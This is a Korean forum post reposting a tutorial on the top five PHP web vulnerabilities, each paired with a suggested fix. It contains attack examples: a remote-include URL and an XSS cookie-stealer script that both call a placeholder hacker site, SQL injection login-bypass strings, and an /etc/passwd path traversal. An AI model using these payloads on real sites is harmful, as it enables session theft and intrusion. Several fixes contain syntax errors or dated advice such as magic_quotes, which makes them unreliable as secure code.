게시판편집마리홈 개발
검색폼 열기 목록으로 보기

이름 제목 내용

관련 링크 파일 다운로드 읽은 사람 글자 크게 글자 작게
관련 링크 관련링크 : 0개
총 링크 클릭횟수 : 0

링크된 데이터가 없습니다

파일 다운로드 총 업로드 : 0
파일 다운로드 총 다운로드 횟수: 0

업로드된 데이터가 없습니다

읽은 사람이 글을 읽은 사람 : 227명
more
No.227142.132.♡.1082022.06.25 20:02
No.226114.119.♡.1942022.06.24 03:28
No.225212.227.♡.1842022.06.22 11:13
No.224212.227.♡.2402022.06.22 11:10
No.22364.124.♡.372022.06.21 16:43
No.22282.165.♡.1862022.06.21 11:06
No.22165.21.♡.442022.06.20 18:12
No.220194.36.♡.2232022.06.20 15:53
No.219142.132.♡.892022.06.20 06:59
No.21835.210.♡.2392022.06.19 23:48
No.21764.124.♡.382022.06.19 10:37
No.21661.249.♡.1372022.06.18 16:45
No.215154.54.♡.1982022.06.18 07:22
No.214138.201.♡.522022.06.18 01:03
No.213114.119.♡.2352022.06.16 10:47
No.212196.199.♡.382022.06.16 04:32
No.211104.160.♡.902022.06.15 13:42
No.21050.3.♡.1342022.06.15 09:55
No.209104.144.♡.1062022.06.14 18:50
No.208107.174.♡.1132022.06.13 06:35
No.207168.151.♡.1782022.06.12 07:59
No.20681.17.♡.612022.06.10 21:08
No.205209.95.♡.1652022.06.10 05:57
No.204142.132.♡.1072022.06.09 08:00
No.203142.132.♡.2492022.06.09 07:27
No.2025.161.♡.2522022.06.09 03:03
No.201185.220.♡.2522022.06.07 12:20
No.200168.119.♡.1142022.06.07 11:02
No.199168.119.♡.862022.06.07 07:01
No.198114.119.♡.572022.06.06 11:23
No.197192.3.♡.2352022.06.04 18:26
No.196118.216.♡.842022.06.04 04:07
No.195216.244.♡.2342022.06.03 16:40
No.194149.57.♡.1772022.06.02 11:14
No.19351.158.♡.1672022.05.31 07:15
No.192114.119.♡.1922022.05.30 21:24
No.19165.21.♡.482022.05.30 09:52
No.19017.121.♡.2532022.05.27 19:09
No.189216.244.♡.2302022.05.27 18:22
No.188181.177.♡.1632022.05.25 05:35
No.187172.245.♡.352022.05.24 20:58
No.186172.245.♡.92022.05.24 20:49
No.185114.119.♡.1932022.05.22 13:30
No.184114.119.♡.2112022.05.22 10:29
No.18317.121.♡.1072022.05.22 00:54
No.182114.119.♡.1912022.05.20 23:57
No.1813.93.♡.712022.05.17 05:25
No.18093.158.♡.412022.05.17 03:36
No.179114.119.♡.02022.05.16 18:13
No.178196.240.♡.652022.05.15 18:16
No.177136.243.♡.1722022.05.15 18:14
No.176114.119.♡.2082022.05.15 05:53
No.175114.119.♡.1352022.05.11 01:00
No.17461.249.♡.1722022.05.04 01:25
No.173114.119.♡.652022.05.01 01:21
No.17261.249.♡.1042022.04.20 12:25
No.171114.119.♡.1012022.04.19 15:17
No.170114.119.♡.972022.04.15 09:27
No.16966.249.♡.652022.04.09 14:59
No.16840.77.♡.402022.03.28 16:21
No.167182.226.♡.2292022.03.17 12:00
No.16666.249.♡.102022.03.11 13:34
No.16566.249.♡.62022.03.11 02:31
No.1643.35.♡.832022.03.09 13:19
No.16366.249.♡.1662022.03.06 22:35
No.16261.249.♡.1342022.03.06 08:15
No.161114.119.♡.2372022.03.05 07:51
No.160157.55.♡.1182022.03.04 14:50
No.15966.249.♡.762022.02.27 03:36
No.158114.119.♡.162022.02.21 13:34
No.15761.249.♡.1102022.02.20 11:45
No.156114.119.♡.1782022.02.15 00:03
No.155114.119.♡.1182022.02.07 21:12
No.15466.249.♡.2142022.02.06 19:33
No.153110.232.♡.502022.02.06 06:16
No.152173.244.♡.2322022.02.04 23:11
No.151114.119.♡.542022.01.29 19:50
No.15066.249.♡.1942022.01.28 13:50
No.14966.249.♡.822022.01.26 04:16
No.148114.119.♡.2082022.01.23 12:02
No.147114.119.♡.502022.01.18 06:15
No.14666.249.♡.2102022.01.14 14:14
No.145114.119.♡.1342022.01.12 19:57
No.14466.249.♡.2122022.01.01 09:22
No.143114.119.♡.2382021.12.22 13:13
No.142114.119.♡.2002021.12.17 02:14
No.141114.119.♡.142021.12.10 08:03
No.140114.119.♡.32021.12.05 21:54
No.13966.249.♡.2082021.11.28 20:21
No.138114.119.♡.1292021.11.26 18:30
No.13761.249.♡.1712021.11.20 16:06
No.136114.119.♡.972021.11.19 18:49
No.135209.95.♡.1642021.11.18 10:22
No.134112.149.♡.112021.11.15 13:09
No.133114.119.♡.1182021.11.13 02:57
No.13240.77.♡.292021.11.07 01:02
No.131157.55.♡.562021.11.06 23:47
No.130123.143.♡.1862021.11.05 11:26
No.129121.151.♡.772021.10.25 19:44
No.12861.249.♡.2032021.10.18 09:06
No.127157.55.♡.1062021.10.16 12:57
No.12617.121.♡.1552021.10.14 18:17
No.12540.77.♡.642021.10.13 14:18
No.124157.55.♡.1082021.10.07 23:09
No.12366.249.♡.2102021.10.06 19:35
No.122114.119.♡.1462021.10.01 01:36
No.121207.46.♡.1462021.09.19 22:56
No.12017.121.♡.1302021.09.15 14:43
No.11961.249.♡.1112021.09.15 12:48
No.118115.89.♡.1312021.09.04 05:23
No.117207.46.♡.582021.08.22 20:00
No.11661.249.♡.2062021.08.22 00:48
No.11540.77.♡.272021.08.20 16:16
No.11461.249.♡.1522021.08.12 20:22
No.11366.249.♡.602021.08.12 15:02
No.11266.249.♡.302021.08.12 05:07
No.111146.59.♡.2292021.08.05 04:53
No.11054.37.♡.1162021.08.05 02:02
No.10951.210.♡.662021.08.04 15:32
No.10851.195.♡.2292021.08.04 14:52
No.107139.99.♡.1712021.08.04 14:12
No.10651.91.♡.1522021.08.04 13:32
No.10554.36.♡.1602021.08.04 12:45
No.10451.195.♡.2552021.08.04 12:05
No.10361.249.♡.1412021.07.30 11:51
No.102185.154.♡.2282021.07.29 14:09
No.101216.244.♡.2262021.07.27 11:36
No.10066.249.♡.492021.07.26 02:12
No.9966.249.♡.502021.07.22 23:36
No.9882.80.♡.2282021.07.20 07:57
No.9782.80.♡.1562021.07.20 05:40
No.9661.249.♡.1922021.07.14 13:44
No.9566.165.♡.2272021.07.12 03:48
No.9417.121.♡.1622021.07.11 21:06
No.93136.243.♡.1052021.07.11 16:52
No.92157.55.♡.1212021.07.11 04:24
No.9161.249.♡.1312021.07.10 08:39
No.90136.243.♡.172021.07.07 10:06
No.8940.77.♡.782021.07.03 23:24
No.88198.204.♡.2122021.07.01 17:21
No.87162.55.♡.02021.07.01 02:53
No.86211.249.♡.2112021.06.25 21:21
No.85191.101.♡.102021.06.20 09:55
No.84192.252.♡.352021.06.18 21:43
No.8366.249.♡.842021.06.18 14:41
No.8261.249.♡.1092021.06.14 05:48
No.8135.210.♡.1852021.06.12 23:47
No.8061.249.♡.1442021.06.09 13:03
No.79175.210.♡.662021.06.07 21:02
No.7872.79.♡.662021.06.03 11:05
No.7761.249.♡.1492021.05.29 05:42
No.7635.153.♡.1392021.05.25 05:27
No.75207.46.♡.862021.05.25 04:43
No.7435.239.♡.1932021.05.23 10:54
No.7389.187.♡.2442021.05.19 14:43
No.7261.249.♡.1282021.05.09 18:40
No.7123.94.♡.1062021.05.05 18:59
No.70144.217.♡.1702021.05.03 05:06
No.6951.161.♡.1052021.05.01 19:10
No.68114.119.♡.92021.04.29 23:46
No.6766.249.♡.802021.04.29 09:45
No.66207.46.♡.1762021.04.28 09:45
No.6585.25.♡.102021.04.28 01:30
No.64114.119.♡.1322021.04.27 01:15
No.6361.249.♡.1302021.04.26 01:36
No.62207.46.♡.722021.04.23 19:46
No.6134.239.♡.572021.04.20 06:04
No.60114.119.♡.802021.04.18 20:17
No.5913.66.♡.132021.04.17 08:32
No.58158.175.♡.852021.04.14 04:28
No.5752.116.♡.1402021.04.13 15:47
No.56110.11.♡.462021.04.12 10:37
No.5589.46.♡.192021.04.11 15:51
No.5466.249.♡.782021.04.11 03:13
No.5313.66.♡.382021.04.10 01:24
No.5261.249.♡.1032021.04.10 00:03
No.5161.249.♡.1012021.04.08 11:11
No.5062.210.♡.22021.04.08 05:00
No.49100.26.♡.2552021.04.07 06:56
No.48114.119.♡.1432021.04.07 02:14
No.47199.189.♡.1012021.04.06 00:00
No.4613.66.♡.792021.04.05 13:25
No.45114.119.♡.1592021.03.31 11:46
No.44161.97.♡.42021.03.30 00:27
No.43181.177.♡.1242021.03.29 21:02
No.4266.249.♡.692021.03.27 07:50
No.41157.55.♡.222021.03.26 00:05
No.4061.249.♡.1802021.03.25 19:43
No.3966.249.♡.1302021.03.23 08:32
No.38114.119.♡.342021.03.20 21:56
No.3747.243.♡.562021.03.19 15:14
No.36114.119.♡.1382021.03.15 01:15
No.35119.65.♡.2052021.03.12 00:09
No.3481.209.♡.1452021.03.08 14:11
No.3389.46.♡.342021.03.07 19:30
No.32192.99.♡.972021.03.05 12:54
No.3140.77.♡.192021.03.03 05:03
No.3040.77.♡.232021.03.02 13:07
No.29103.221.♡.1452021.03.02 08:10
No.28114.119.♡.1272021.03.01 05:17
No.27114.119.♡.432021.03.01 01:23
No.26157.55.♡.1732021.02.28 06:25
No.2561.249.♡.1582021.02.24 19:23
No.2427.113.♡.1162021.02.16 21:20
No.2361.249.♡.1572021.02.15 11:57
No.2266.249.♡.132021.02.13 10:34
No.2199.106.♡.402021.02.12 12:05
No.20109.102.♡.612021.02.10 20:59
No.19185.119.♡.1002021.02.09 13:01
No.18185.119.♡.1022021.02.08 22:52
No.17109.102.♡.52021.02.07 16:14
No.1661.249.♡.1172021.02.06 13:33
No.1561.249.♡.1632021.02.05 14:37
No.14157.55.♡.1722021.02.04 08:32
No.13144.76.♡.1182021.02.02 19:55
No.12121.156.♡.2212021.01.29 22:31
No.11121.156.♡.2012021.01.29 22:25
No.1051.161.♡.2292021.01.29 22:19
No.954.208.♡.1792021.01.26 20:04
No.861.249.♡.2012021.01.25 09:48
No.752.237.♡.822021.01.22 16:02
No.6104.245.♡.2342021.01.18 13:43
No.5149.248.♡.2162021.01.16 06:09
No.4216.18.♡.1942021.01.14 05:16
No.361.249.♡.1462021.01.09 08:36
No.266.249.♡.702021.01.06 23:04
No.1예뜨락2021.01.06 20:44
원본글 : https://hyess.tistory.com/33


[PHP]PHP웹 보안 취약점 TOP5(웹해킹)


국제 웹 보안 표준 기구(OWASP - Open Web Application Security Project)에서 해마다 자주 발생하는 웹보안취약점 Top 10 을 선정하여 발표 합니다. 이것을 기준으로 PHP웹 보안 취약점 Top5를 알아보고, 해결책을 제시합니다.



1. 원격 코드 실행 ( Remode Code Execution )

이 방식은 주로 소스코드에 include 함수나 fopen 함수를 이용하여 변수로 넘겨받아서 파일명을 동적으로 불러들이는 코드에서 발생합니다.

예 include $_POST['filename'] 또는 include $filename;

위 예는 홈페이지 레이아웃을 구조화(header, footer 등) 할 때 사용합니다.

해킹예) http://사이트주소/파일명?filename='http://해킹주소/hackcode.php'

해킹자가 파일명을 전송폼으로 넘기거나, 파일변수명을 확인해서 외부 사이트의 파일주소를 변수로 넘기게 되면, 외부사이트의 파일주소내용이 실행되게 됩니다.

즉, 크로스 사이트 스크립트 공격이 일어나게 됩니다. 이 취약점은 다른 웹프로그래밍 언어보다 특히 PHP 사이트 에서 자주 일어 납니다. 그 이유는, PHP.ini 설절파일의 allow_url_open 속성이 on 으로 기본값이 설정이 되어 있기 때문에 URL 형식의 파일 열기가 가능합니다. ( Remote File Injection )

기본적으로 이러한 공격의 해결 방법은 PHP.ini 설정 항목중 allow_url_open = off 로 변경후 아파치 웹서버를 재부팅하면 해결 됩니다.

하지만, 해킹자가 외부사이트의 파일을 실행하게 하지 않고, 파일업로드를 통해서 내부웹서버에 파일을 업로드하였을 경우에는 업로드한 외부파일을 이용해서 include 를 실행하게 됩니다.

따라서, 해결책은 소스코드에서 파일로 include 문을 사용하여 홈페이지 제어를 할 경우 반드시 그 파일의 경로와 이름이 올바른지 확인하는 구문을 넣어서, 검증한 후 파일을 include 할 수 있도록 처리해야 합니다.

*해결예) $valid_filename = check_validation ( $_POST['filename']); //파일 위치 검증함수 check_validation 사용 (function check_validation($filename){

if(file_exists("$DOCUMENT_ROOT/common/$filename){

echo $filename;

}else{

echo "접근경로가 올바르지 않습니다.";

exit;

}

)

include $valid_filename;



2. 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting )

게시판에 글을 쓸 때 사용자가 입력한 값을 그대로 데이터베이스에 등록하고, 글 읽기 페이지에서 그대로 출력한다면, 해커는 다음과 같은 자바스크립트 코드를 글제목에 삽입하는 것으로 해당사이트를 무력화 시킬 수 있습니다.

해킹예1.<script>location.href="광고사이트";</script>

사이트방문자가 게시판 페이지에 접속하는 순간, 자동으로 제목에 입력한 사이트로 이동하게 됩니다.

해킹예2.<script>location.href='해킹사이트/cookie.php?str='+document.cookie!</script>

사이트방문자의 쿠키정보를 해킹사이트로 보내게 됩니다.

해킹예3.<img src="없는파일이름.gif" onError="location.href='광고사이트'"> 로 하면, 글내용 읽기에서 파일없음 에러이벤트가 발생하기 때문에 광고사이트로 이동합니다.

해결첵은 사용자가 입력한 값을 검증해서, 삽입할수 없는 코드를 제거하는 것 입니다.

*해결예) 모든입력상자에 아래의 코드를 적용(공통함수사용이 바람직)

php변수 $user_input = strip_tags($user_input, "<img><b>");?> img태그와 b태그만 허용

script랑 style 태그제거 while(preg_match('/</?(script|style)/m', $user_input)) {

$user_input = preg_replace('/</?(script|style)/m','',$user_input);

}

인라인 이벤트핸들러 제거 where(preg_match('/<[a-aA-Z]+.+on(load|click|error|그외핸들러추가)=".*"/?>/m',$user_input)) {

$user_input = preg_replace('/(<[a-aA-Z]+.+)on(load|click|error|그외핸들러추가)=".*"(/?>)/m','XX', $user_input);

}

$user_input = mysql_real_escape_string($user_input);//mysql전용



3. SQL 인젝션 ( SQL Injection )

가장 대표적인 방법은 사용자 인증을 우회하는 것입니다.

해킹예1) 작은 따옴표를 이용한 해킹

로그인창을 기준으로 보면

SELECT COUNT(*) FROM USERS WHERE USERID = '$_POST[USERID]' AND USERPW = '$_POST[USERPW]' 카운터가 1 이상으로 로그인 할 수 있습니다.

이경우 아이디와 암호가 모두 일치해야지만, 카운터가 1 이상으로 나오는데, 해킹자는 암호를 몰라도 해당아이디로 카운터를 발행시킬수 있습니다.

해킹자는 로그인 하고자 하는 아이디를 입력하고, 비밀번호 항목에 다음과 같은 코드를 삽입 합니다.

아디디 : admin / 암호 : ' OR ' '='

위와 같이 넣으면, SQL쿼리는 다음과 같이 수정됩니다.

SELECT COUNT(*) FROM USERS WHERE USERID = 'admin' and USERPW = ' ' OR ' '=' '

위와 같이 로그인 쿼리가 변경되기때문에 WHERE 절이 항상 참이 됩니다. 그래서, admin 아이디로 로그인하게 됩니다.

* 해결책1) 사용자가 입력한 작은따옴표가 쿼리문에 반영되는 것을 금지하는 방법

PHP.ini 설정에 magic_quotes_gpc = on 으로 변경 후 아파치 재가동( 현재 설정값 확인 내장 함수 magic_quotes_gpc(); )

이렇게 하면, GET,POST,COOKIE 를 통해서 입력되는 작은 따옴표에 모두 를 자동으로 추가해 준다.

해킹예2) 작은 따옴표를 이용한 해킹방지를 건너띄는 WHERE조건이 숫자인 쿼리일 경우

DELETE BOARD WHERE USERID='admin' AND USERPW = 1234 AND IDX = 10

전송폼 입력 아디디 : 해킹자ID / 암호 : 1234 OR 0=0--

해킹된 쿼리 DELETE BOARD WHERE USERID='admin' AND PASSWD= 1234 OR 0=0 --AND IDX =

*해결책2) 문자파라미터는 문자만, 숫자파라미터는 숫자만 입력값을 받도록 한다.

암호와 일련번호가 숫자인 경우 $_POST[PASSWD]와 $_POST[IDX]가 숫자인지 학인하는 구문을 집어 낳는다.

$PASSWD = (int)$_POST[PASSWD];

$IDX = (int)$_POST[IDX];

위처럼 파라미터로 받은 값을 숫자형으로 변환하면,OR --가 숫자가 아니기때문에 해킹자가 원하는 DELETE가 이루어지지 않는다.



4. 안전하지 않은 PHP 설정 ( 1번만 주의 깊게 보세요 )

주로 PHP.ini 설정에 관련된 문제 인데

allow_url_open 과 magic_quotes_gpc 는 위에서 설명 되었고,

1. register_globals = Off; 올바른 값

변수의 출처를 구분해주는 역할을 사용하려면, Off를 해 주어야 한다.

즉, $ID와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 등의 변수출처를 알수 읶게 되어서 다른 값으로 인식하고.

On 으로 적용하면, $ID 와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 은 같은 같으로 인식한다.

회원로그인시 반드시 POST방식으로 변수를 받아야 하지만, 위 설정으로 GET방식으로 받아도 로그인이 가능해 진다.

2. open_basedir = '지정된 폴더'; 지정된 폴더외에 파일 접근을 막는 방법이 있음.

3. safe_mode = On; 파일에 접근시 파일에 대한 소유권 확인 ( php 6.0 부터 설정이 없어질 예정 )



5. 파일시스템공격 ( File System Attacks )

- 첨부파일 업로드를 이용한 공격

업르드 파일에 php,html 과 같은 실행 가능한 파일을 업로드하지 못하게 자바스크립트로만 제약을 걸어 놓는 경우

햬킹예1). 해킹예 자바스크립트를 사용하지 않음으로 브라우저에서 설정([F12]키)했을 경우 업로드가 가능하게 된다.

해결책1). 아래와 같이 프로그램 코드에서 실행가능한 파일 확장자를 막는 코드를 삽입한다.

<?

$filename = 'hack.php';

$ext_exp = '.(php|php3|html|htm|cgi|pl)';

if(eregi($ext_exp,$filename))

{

echo "업로드가 불가능한 확장자 입니다.";

}

else

{

echo "업로드가 가능한 확장자 입니다.";

}



- 첨부파일 다운로드 경로를 이용한 중요파일 해킹

보통 다운로드 링크를 걸때, 직접 경로로 접근을 하지 않고, download.php 파일을 이용해서 다운로드를 구현하게 되는데...

해킹예1). http://www.도메인/bbs/download.php?filename=../../../etc/ passwd 와 같이 시스템 중요한 파일을 다운로드 할 수 있게 된다.

해결책1). download.php 파일 코딩 상단에 아래 코드를 삽입

if( eregi("..|/", $filename )

{

echo "상대경로로 접근할 수 없습니다.";

exit;

}

기타. 세션관리의 취약점(보통 셰션은 로그인 유지사용된다.)

-. 쿠키를 이용한 세션 ( 취약점.암호화 해도 콕시 툴로 하이젝킹이 가능 )

-. 서버 세션을 이용한 세션

취약점 : 서버의 PHPSESSID 는 로그인 후 브라이저를 닫아도 20 이내에는 살아 있게 됩니다.

쿠키보다는 서버세션을 이용한 로그인을 유지하는 것이 좋다.

위 2가지 모두 Cooxie 툴바 해킹툴로 세션을 알아 낼 수 있다.(하이젝킹 가능)


해킹예) 홈페이지 게시판에

<script>location.href='해킹사이트/cookie.php?str='+document.cookie!</script>

위와 같이 쿠키 값을 해킹자의 사이트로 전송하는 스크립트를 게시물에 삽입 했을때...

해결책) 상단의 2번 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting ) 해결책을 사용한다.

참고로, 관리자폴더는 유추가 가능한 admin, manage 같은 폴더명을 사용하지 않도록 한다.
이게시물의 짧은 주소 : http://marihome.net/zTAAjWdr

이 게시물에 대해 어떻게 생각하세요?

게시물이 수정되었습니다 ( 2022년 02월 07일 04시 43분 42초 )

IP : 3.236.107.249

이전 글 다음 글
글 쓰기 답글 쓰기 삭제 이전 목록

작성된 코멘트가 없습니다
필수사항

이전 글 다음 글
글 쓰기 답글 쓰기 삭제 이전 목록

글 순서 글 제목 글쓴 사람 글쓴 날짜 읽은 수 추천 수
8 잠시 쉬어가는 김에 방명록 스킨 만들기txt 예뜨락 22.06.02 46 0
7 소셜 네트워크 로그인txt 예뜨락 22.05.25 56 0
6 [ 테스트 ] 레벨과 포인트 작업 예뜨락 21.11.17 92 0
읽고 있는 곳 보안에 관련된 내용 예뜨락 21.01.06 228 0
4 사용자 스킨의 제작 접근성 예뜨락 20.08.31 268 0
3 게시판 아이디 변경시 주의 사항 예뜨락 13.12.05 301 0
2 모듈 생성에 대한 고찰 예뜨락 13.11.03 292 0
1 마리홈의 사이트 빌더화1 예뜨락 13.10.27 335 0
글 쓰기 처음 목록 검색폼 열기


이름 제목 내용


회원로그인

마리홈피마리홈피
↓ 현재 읽고 있는 곳
사이트 소개 | 개인정보처리방침 | 커뮤니티 운영규칙 | Layout design by 예뜨락